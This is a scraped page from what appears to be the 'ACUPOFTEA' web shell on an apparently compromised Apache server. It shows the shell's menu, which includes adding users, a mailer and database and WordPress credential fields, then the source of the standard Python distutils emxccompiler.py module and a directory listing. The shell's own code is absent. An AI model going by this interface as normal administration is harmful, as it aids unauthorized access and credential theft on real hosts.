System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
distutils
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
emxccompiler.py
"""distutils.emxccompiler Provides the EMXCCompiler class, a subclass of UnixCCompiler that handles the EMX port of the GNU C compiler to OS/2. """ # issues: # # * OS/2 insists that DLLs can have names no longer than 8 characters # We put export_symbols in a def-file, as though the DLL can have # an arbitrary length name, but truncate the output filename. # # * only use OMF objects and use LINK386 as the linker (-Zomf) # # * always build for multithreading (-Zmt) as the accompanying OS/2 port # of Python is only distributed with threads enabled. # # tested configurations: # # * EMX gcc 2.81/EMX 0.9d fix03 __revision__ = "$Id$" import os,sys,copy from distutils.ccompiler import gen_preprocess_options, gen_lib_options from distutils.unixccompiler import UnixCCompiler from distutils.file_util import write_file from distutils.errors import DistutilsExecError, CompileError, UnknownFileError from distutils import log class EMXCCompiler (UnixCCompiler): compiler_type = 'emx' obj_extension = ".obj" static_lib_extension = ".lib" shared_lib_extension = ".dll" static_lib_format = "%s%s" shared_lib_format = "%s%s" res_extension = ".res" # compiled resource file exe_extension = ".exe" def __init__ (self, verbose=0, dry_run=0, force=0): UnixCCompiler.__init__ (self, verbose, dry_run, force) (status, details) = check_config_h() self.debug_print("Python's GCC status: %s (details: %s)" % (status, details)) if status is not CONFIG_H_OK: self.warn( "Python's pyconfig.h doesn't seem to support your compiler. " + ("Reason: %s." % details) + "Compiling may fail because of undefined preprocessor macros.") (self.gcc_version, self.ld_version) = \ get_versions() self.debug_print(self.compiler_type + ": gcc %s, ld %s\n" % (self.gcc_version, self.ld_version) ) # Hard-code GCC because that's what this is all about. # XXX optimization, warnings etc. should be customizable. self.set_executables(compiler='gcc -Zomf -Zmt -O3 -fomit-frame-pointer -mprobe -Wall', compiler_so='gcc -Zomf -Zmt -O3 -fomit-frame-pointer -mprobe -Wall', linker_exe='gcc -Zomf -Zmt -Zcrtdll', linker_so='gcc -Zomf -Zmt -Zcrtdll -Zdll') # want the gcc library statically linked (so that we don't have # to distribute a version dependent on the compiler we have) self.dll_libraries=["gcc"] # __init__ () def _compile(self, obj, src, ext, cc_args, extra_postargs, pp_opts): if ext == '.rc': # gcc requires '.rc' compiled to binary ('.res') files !!! try: self.spawn(["rc", "-r", src]) except DistutilsExecError, msg: raise CompileError, msg else: # for other files use the C-compiler try: self.spawn(self.compiler_so + cc_args + [src, '-o', obj] + extra_postargs) except DistutilsExecError, msg: raise CompileError, msg def link (self, target_desc, objects, output_filename, output_dir=None, libraries=None, library_dirs=None, runtime_library_dirs=None, export_symbols=None, debug=0, extra_preargs=None, extra_postargs=None, build_temp=None, target_lang=None): # use separate copies, so we can modify the lists extra_preargs = copy.copy(extra_preargs or []) libraries = copy.copy(libraries or []) objects = copy.copy(objects or []) # Additional libraries libraries.extend(self.dll_libraries) # handle export symbols by creating a def-file # with executables this only works with gcc/ld as linker if ((export_symbols is not None) and (target_desc != self.EXECUTABLE)): # (The linker doesn't do anything if output is up-to-date. # So it would probably better to check if we really need this, # but for this we had to insert some unchanged parts of # UnixCCompiler, and this is not what we want.) # we want to put some files in the same directory as the # object files are, build_temp doesn't help much # where are the object files temp_dir = os.path.dirname(objects[0]) # name of dll to give the helper files the same base name (dll_name, dll_extension) = os.path.splitext( os.path.basename(output_filename)) # generate the filenames for these files def_file = os.path.join(temp_dir, dll_name + ".def") # Generate .def file contents = [ "LIBRARY %s INITINSTANCE TERMINSTANCE" % \ os.path.splitext(os.path.basename(output_filename))[0], "DATA MULTIPLE NONSHARED", "EXPORTS"] for sym in export_symbols: contents.append(' "%s"' % sym) self.execute(write_file, (def_file, contents), "writing %s" % def_file) # next add options for def-file and to creating import libraries # for gcc/ld the def-file is specified as any other object files objects.append(def_file) #end: if ((export_symbols is not None) and # (target_desc != self.EXECUTABLE or self.linker_dll == "gcc")): # who wants symbols and a many times larger output file # should explicitly switch the debug mode on # otherwise we let dllwrap/ld strip the output file # (On my machine: 10KB < stripped_file < ??100KB # unstripped_file = stripped_file + XXX KB # ( XXX=254 for a typical python extension)) if not debug: extra_preargs.append("-s") UnixCCompiler.link(self, target_desc, objects, output_filename, output_dir, libraries, library_dirs, runtime_library_dirs, None, # export_symbols, we do this in our def-file debug, extra_preargs, extra_postargs, build_temp, target_lang) # link () # -- Miscellaneous methods ----------------------------------------- # override the object_filenames method from CCompiler to # support rc and res-files def object_filenames (self, source_filenames, strip_dir=0, output_dir=''): if output_dir is None: output_dir = '' obj_names = [] for src_name in source_filenames: # use normcase to make sure '.rc' is really '.rc' and not '.RC' (base, ext) = os.path.splitext (os.path.normcase(src_name)) if ext not in (self.src_extensions + ['.rc']): raise UnknownFileError, \ "unknown file type '%s' (from '%s')" % \ (ext, src_name) if strip_dir: base = os.path.basename (base) if ext == '.rc': # these need to be compiled to object files obj_names.append (os.path.join (output_dir, base + self.res_extension)) else: obj_names.append (os.path.join (output_dir, base + self.obj_extension)) return obj_names # object_filenames () # override the find_library_file method from UnixCCompiler # to deal with file naming/searching differences def find_library_file(self, dirs, lib, debug=0): shortlib = '%s.lib' % lib longlib = 'lib%s.lib' % lib # this form very rare # get EMX's default library directory search path try: emx_dirs = os.environ['LIBRARY_PATH'].split(';') except KeyError: emx_dirs = [] for dir in dirs + emx_dirs: shortlibp = os.path.join(dir, shortlib) longlibp = os.path.join(dir, longlib) if os.path.exists(shortlibp): return shortlibp elif os.path.exists(longlibp): return longlibp # Oops, didn't find it in *any* of 'dirs' return None # class EMXCCompiler # Because these compilers aren't configured in Python's pyconfig.h file by # default, we should at least warn the user if he is using a unmodified # version. CONFIG_H_OK = "ok" CONFIG_H_NOTOK = "not ok" CONFIG_H_UNCERTAIN = "uncertain" def check_config_h(): """Check if the current Python installation (specifically, pyconfig.h) appears amenable to building extensions with GCC. Returns a tuple (status, details), where 'status' is one of the following constants: CONFIG_H_OK all is well, go ahead and compile CONFIG_H_NOTOK doesn't look good CONFIG_H_UNCERTAIN not sure -- unable to read pyconfig.h 'details' is a human-readable string explaining the situation. Note there are two ways to conclude "OK": either 'sys.version' contains the string "GCC" (implying that this Python was built with GCC), or the installed "pyconfig.h" contains the string "__GNUC__". """ # XXX since this function also checks sys.version, it's not strictly a # "pyconfig.h" check -- should probably be renamed... from distutils import sysconfig import string # if sys.version contains GCC then python was compiled with # GCC, and the pyconfig.h file should be OK if string.find(sys.version,"GCC") >= 0: return (CONFIG_H_OK, "sys.version mentions 'GCC'") fn = sysconfig.get_config_h_filename() try: # It would probably better to read single lines to search. # But we do this only once, and it is fast enough f = open(fn) try: s = f.read() finally: f.close() except IOError, exc: # if we can't read this file, we cannot say it is wrong # the compiler will complain later about this file as missing return (CONFIG_H_UNCERTAIN, "couldn't read '%s': %s" % (fn, exc.strerror)) else: # "pyconfig.h" contains an "#ifdef __GNUC__" or something similar if string.find(s,"__GNUC__") >= 0: return (CONFIG_H_OK, "'%s' mentions '__GNUC__'" % fn) else: return (CONFIG_H_NOTOK, "'%s' does not mention '__GNUC__'" % fn) def get_versions(): """ Try to find out the versions of gcc and ld. If not possible it returns None for it. """ from distutils.version import StrictVersion from distutils.spawn import find_executable import re gcc_exe = find_executable('gcc') if gcc_exe: out = os.popen(gcc_exe + ' -dumpversion','r') try: out_string = out.read() finally: out.close() result = re.search('(\d+\.\d+\.\d+)',out_string) if result: gcc_version = StrictVersion(result.group(1)) else: gcc_version = None else: gcc_version = None # EMX ld has no way of reporting version number, and we use GCC # anyway - so we can link OMF DLLs ld_version = None return (gcc_version, ld_version)
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
command
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
README
text/plain
295 B
-rw-r--r--
2024-04-10 04:58:35
__init__.py
text/plain
236 B
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
415 B
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
415 B
-rw-r--r--
2024-04-10 04:58:46
archive_util.py
text/x-python
8.03 KB
-rw-r--r--
2024-04-10 04:58:35
archive_util.pyc
application/octet-stream
7.42 KB
-rw-r--r--
2024-04-10 04:58:46
archive_util.pyo
application/octet-stream
7.42 KB
-rw-r--r--
2024-04-10 04:58:46
bcppcompiler.py
text/x-python
14.59 KB
-rw-r--r--
2024-04-10 04:58:35
bcppcompiler.pyc
application/octet-stream
7.7 KB
-rw-r--r--
2024-04-10 04:58:46
bcppcompiler.pyo
application/octet-stream
7.7 KB
-rw-r--r--
2024-04-10 04:58:46
ccompiler.py
text/x-python
45.63 KB
-rw-r--r--
2024-04-10 04:58:35
ccompiler.pyc
application/octet-stream
36.02 KB
-rw-r--r--
2024-04-10 04:58:46
ccompiler.pyo
application/octet-stream
35.88 KB
-rw-r--r--
2024-04-10 04:58:44
cmd.py
text/x-python
18.82 KB
-rw-r--r--
2024-04-10 04:58:35
cmd.pyc
application/octet-stream
16.41 KB
-rw-r--r--
2024-04-10 04:58:46
cmd.pyo
application/octet-stream
16.41 KB
-rw-r--r--
2024-04-10 04:58:46
config.py
text/x-python
4.04 KB
-rw-r--r--
2024-04-10 04:58:35
config.pyc
application/octet-stream
3.48 KB
-rw-r--r--
2024-04-10 04:58:46
config.pyo
application/octet-stream
3.48 KB
-rw-r--r--
2024-04-10 04:58:46
core.py
text/x-python
8.81 KB
-rw-r--r--
2024-04-10 04:58:35
core.pyc
application/octet-stream
7.36 KB
-rw-r--r--
2024-04-10 04:58:46
core.pyo
application/octet-stream
7.36 KB
-rw-r--r--
2024-04-10 04:58:46
cygwinccompiler.py
text/x-python
17.32 KB
-rw-r--r--
2024-04-10 04:58:35
cygwinccompiler.pyc
application/octet-stream
9.59 KB
-rw-r--r--
2024-04-10 04:58:46
cygwinccompiler.pyo
application/octet-stream
9.59 KB
-rw-r--r--
2024-04-10 04:58:46
debug.py
text/plain
162 B
-rw-r--r--
2024-04-10 04:58:35
debug.pyc
application/octet-stream
254 B
-rw-r--r--
2024-04-10 04:58:46
debug.pyo
application/octet-stream
254 B
-rw-r--r--
2024-04-10 04:58:46
dep_util.py
text/x-python
3.43 KB
-rw-r--r--
2024-04-10 04:58:35
dep_util.pyc
application/octet-stream
3.11 KB
-rw-r--r--
2024-04-10 04:58:46
dep_util.pyo
application/octet-stream
3.11 KB
-rw-r--r--
2024-04-10 04:58:46
dir_util.py
text/x-python
7.68 KB
-rw-r--r--
2024-04-10 04:58:35
dir_util.pyc
application/octet-stream
6.63 KB
-rw-r--r--
2024-04-10 04:58:46
dir_util.pyo
application/octet-stream
6.63 KB
-rw-r--r--
2024-04-10 04:58:46
dist.py
text/x-python
48.88 KB
-rw-r--r--
2024-04-10 04:58:35
dist.pyc
application/octet-stream
38.26 KB
-rw-r--r--
2024-04-10 04:58:46
dist.pyo
application/octet-stream
38.26 KB
-rw-r--r--
2024-04-10 04:58:46
emxccompiler.py
text/x-python
11.65 KB
-rw-r--r--
2024-04-10 04:58:35
emxccompiler.pyc
application/octet-stream
7.29 KB
-rw-r--r--
2024-04-10 04:58:46
emxccompiler.pyo
application/octet-stream
7.29 KB
-rw-r--r--
2024-04-10 04:58:46
errors.py
text/plain
3.41 KB
-rw-r--r--
2024-04-10 04:58:35
errors.pyc
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:46
errors.pyo
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:46
extension.py
text/x-python
10.65 KB
-rw-r--r--
2024-04-10 04:58:35
extension.pyc
application/octet-stream
7.24 KB
-rw-r--r--
2024-04-10 04:58:46
extension.pyo
application/octet-stream
7.02 KB
-rw-r--r--
2024-04-10 04:58:44
fancy_getopt.py
text/x-python
17.53 KB
-rw-r--r--
2024-04-10 04:58:35
fancy_getopt.pyc
application/octet-stream
11.68 KB
-rw-r--r--
2024-04-10 04:58:46
fancy_getopt.pyo
application/octet-stream
11.5 KB
-rw-r--r--
2024-04-10 04:58:44
file_util.py
text/x-python
7.94 KB
-rw-r--r--
2024-04-10 04:58:35
file_util.pyc
application/octet-stream
6.59 KB
-rw-r--r--
2024-04-10 04:58:46
file_util.pyo
application/octet-stream
6.59 KB
-rw-r--r--
2024-04-10 04:58:46
filelist.py
text/x-python
12.39 KB
-rw-r--r--
2024-04-10 04:58:35
filelist.pyc
application/octet-stream
10.5 KB
-rw-r--r--
2024-04-10 04:58:46
filelist.pyo
application/octet-stream
10.5 KB
-rw-r--r--
2024-04-10 04:58:46
log.py
text/plain
1.65 KB
-rw-r--r--
2024-04-10 04:58:35
log.pyc
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
log.pyo
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
msvc9compiler.py
text/x-python
30.28 KB
-rw-r--r--
2024-04-10 04:58:35
msvc9compiler.pyc
application/octet-stream
20.99 KB
-rw-r--r--
2024-04-10 04:58:46
msvc9compiler.pyo
application/octet-stream
20.92 KB
-rw-r--r--
2024-04-10 04:58:44
msvccompiler.py
text/x-python
23.08 KB
-rw-r--r--
2024-04-10 04:58:35
msvccompiler.pyc
application/octet-stream
17.11 KB
-rw-r--r--
2024-04-10 04:58:46
msvccompiler.pyo
application/octet-stream
17.11 KB
-rw-r--r--
2024-04-10 04:58:46
spawn.py
text/x-python
8.45 KB
-rw-r--r--
2024-04-10 04:58:35
spawn.pyc
application/octet-stream
6.28 KB
-rw-r--r--
2024-04-10 04:58:46
spawn.pyo
application/octet-stream
6.28 KB
-rw-r--r--
2024-04-10 04:58:46
sysconfig.py
text/x-python
17.29 KB
-rw-r--r--
2024-04-10 04:58:41
sysconfig.py.debug-build
text/x-python
17.21 KB
-rw-r--r--
2024-04-10 04:58:35
sysconfig.pyc
application/octet-stream
13.09 KB
-rw-r--r--
2024-04-10 04:58:46
sysconfig.pyo
application/octet-stream
13.09 KB
-rw-r--r--
2024-04-10 04:58:46
text_file.py
text/plain
12.14 KB
-rw-r--r--
2024-04-10 04:58:35
text_file.pyc
application/octet-stream
9.04 KB
-rw-r--r--
2024-04-10 04:58:46
text_file.pyo
application/octet-stream
9.04 KB
-rw-r--r--
2024-04-10 04:58:46
unixccompiler.py
text/x-python
13.89 KB
-rw-r--r--
2024-04-10 04:58:35
unixccompiler.py.distutils-rpath
text/x-python
13.36 KB
-rw-r--r--
2024-04-10 04:58:35
unixccompiler.pyc
application/octet-stream
8.04 KB
-rw-r--r--
2024-04-10 04:58:46
unixccompiler.pyo
application/octet-stream
8.04 KB
-rw-r--r--
2024-04-10 04:58:46
util.py
text/x-python
17.81 KB
-rw-r--r--
2024-04-10 04:58:35
util.pyc
application/octet-stream
14.05 KB
-rw-r--r--
2024-04-10 04:58:46
util.pyo
application/octet-stream
14.05 KB
-rw-r--r--
2024-04-10 04:58:46
version.py
text/x-python
11.17 KB
-rw-r--r--
2024-04-10 04:58:35
version.pyc
application/octet-stream
7.04 KB
-rw-r--r--
2024-04-10 04:58:46
version.pyo
application/octet-stream
7.04 KB
-rw-r--r--
2024-04-10 04:58:46
versionpredicate.py
text/plain
4.98 KB
-rw-r--r--
2024-04-10 04:58:35
versionpredicate.pyc
application/octet-stream
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
versionpredicate.pyo
application/octet-stream
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com